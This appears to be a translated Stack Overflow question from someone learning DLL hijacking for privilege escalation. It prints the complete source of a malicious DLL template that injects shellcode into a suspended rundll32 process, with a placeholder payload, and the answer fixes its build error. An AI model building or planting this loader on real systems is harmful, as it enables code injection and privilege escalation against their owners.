windows - 使用 DLL 劫持进行特权升级 - 编译时出错 "template.c"

标签 windows

我正在学习 DLL 劫持,逐步学习 Vivek 制作的视频 - Privilege Escalation using DLL Hijacking

一切都解释得很好,但有一段话让我陷入困境。它是关于在 Kali Linux 上使用 mingw32 编译“template.c”。当我按照视频中的描述做同样的事情时,意味着:

root@kali:~# i686-w64-mingw32-gcc-win32 template.c -o template.dll -shared

我仍然收到此错误:

/tmp/ccRJy0bd.o:template.c:(.text+0x49): undefined reference to `inline_bzero' collect2: error: ld returned 1 exit status

这里是“template.c”的源代码

#include <windows.h>
#include "template.h"

#if BUILDMODE == 2
/* hand-rolled bzero allows us to avoid including ms vc runtime */
void inline_bzero(void *p, size_t l)
{

           BYTE *q = (BYTE *)p;
           size_t x = 0;
           for (x = 0; x < l; x++)
                     *(q++) = 0x00;
}

#endif


void ExecutePayload(void);

BOOL WINAPI
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
    switch (dwReason)
    {
        case DLL_PROCESS_ATTACH:
            ExecutePayload();
            break;

        case DLL_PROCESS_DETACH:
            // Code to run when the DLL is freed
            break;

        case DLL_THREAD_ATTACH:
            // Code to run when a thread is created during the DLL's lifetime
            break;

        case DLL_THREAD_DETACH:
            // Code to run when a thread ends normally.
            break;
    }
    return TRUE;
}

void ExecutePayload(void) {
    int error;
    PROCESS_INFORMATION pi;
    STARTUPINFO si;
    CONTEXT ctx;
    DWORD prot;
   LPVOID ep;

    // Start up the payload in a new process
    inline_bzero( &si, sizeof( si ));
    si.cb = sizeof(si);

    // Create a suspended process, write shellcode into stack, make stack RWX, resume it
    if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
        ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
        GetThreadContext(pi.hThread, &ctx);

       ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

        WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);

#ifdef _WIN64
       ctx.Rip = (DWORD64)ep;
#else
       ctx.Eip = (DWORD)ep;
#endif

        SetThreadContext(pi.hThread,&ctx);

        ResumeThread(pi.hThread);
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    }
   // ExitProcess(0);
   ExitThread(0);
}

/*
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
    PVOID DllHandle,
    ULONG Reason,
    PVOID Reserved
    );

VOID NTAPI TlsCallback(
      IN PVOID DllHandle,
      IN ULONG Reason,
      IN PVOID Reserved)
{
    __asm  ( "int3" );
}

ULONG _tls_index;
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
*/

如果需要,还有“template.h”。

#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";

已解决。

只需删除“#if BUILDMODE == 2”和“#endif”行,即可成功编译。

最佳答案

只需删除#if BUILDMODE == 2#endif 行,编译成功。

关于windows - 使用 DLL 劫持进行特权升级 - 编译时出错 "template.c",我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/36828314/

相关文章:

ios - 从Windows 10以UI测试模式启动iOS App

windows - 将 spark.local.dir 设置为不同的驱动器

windows - 在 Amazon EC2 实例上安装 Skype

python - 如何在 Python 中检查操作系统是否是 Vista?

windows - 使用免费软件在 Windows 上生成 64 位版本

c - 在 WM_MOUSEMOVE 中绘图

java - 为什么有些 Cygwin 文件不可执行?

r - 不要转义 Rmarkdown 文件中的特殊字符

C++ 如何使用 _rmdir 删除文件?

windows - Android Studio 找不到 Visual Studio 模拟器